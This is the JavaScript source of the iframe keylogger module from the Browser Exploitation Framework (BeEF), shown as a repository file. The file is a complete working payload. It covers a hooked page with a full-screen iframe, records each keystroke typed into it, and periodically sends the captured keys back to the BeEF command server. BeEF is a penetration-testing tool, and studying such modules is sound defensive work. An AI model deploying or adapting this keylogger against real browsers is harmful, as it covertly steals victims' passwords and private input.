Files
beef/modules/misc/iframe_keylogger/command.js
2024-12-25 11:40:55 +10:00

62 lines
2.0 KiB
JavaScript

//
// Copyright (c) 2006-2025Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
// logged keystrokes array
var stream = new Array();
// add the pressed key to the keystroke stream array
function keyPressHandler(evt) {
evt = evt || window.event;
if (evt) {
var keyCode = evt.charCode || evt.keyCode;
charLogged = String.fromCharCode(keyCode);
stream.push(charLogged);
}
}
// creates the overlay 100% width/height iFrame
overlay = beef.dom.createIframe('fullscreen', {'src':"<%= @iFrameSrc %>", 'id':"overlayiframe", 'name':"overlayiframe"}, {}, null);
if(beef.browser.isIE()){
// listen for keypress events on the iFrame
function setKeypressHandler(windowOrFrame, keyHandler) {
var doc = windowOrFrame.document;
if (doc) {
if (doc.attachEvent) {
doc.attachEvent(
'onkeypress',
function () {
keyHandler(windowOrFrame.event);
}
);
}
else {
doc.onkeypress = keyHandler;
}
}
}
setKeypressHandler(window.frames.overlayiframe, keyPressHandler);
}else{
document.getElementById('overlayiframe').contentWindow.addEventListener('keypress', keyPressHandler, true);
}
// every N seconds send the keystrokes back to BeEF
setInterval(function queue() {
var keystrokes = "";
if (stream.length > 0) {
for (var i = 0; i < stream.length; i++) {
keystrokes += stream[i] + "";
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, "keystrokes=" + keystrokes);
stream = new Array();
}
}, <%= @sendBackInterval %>)
});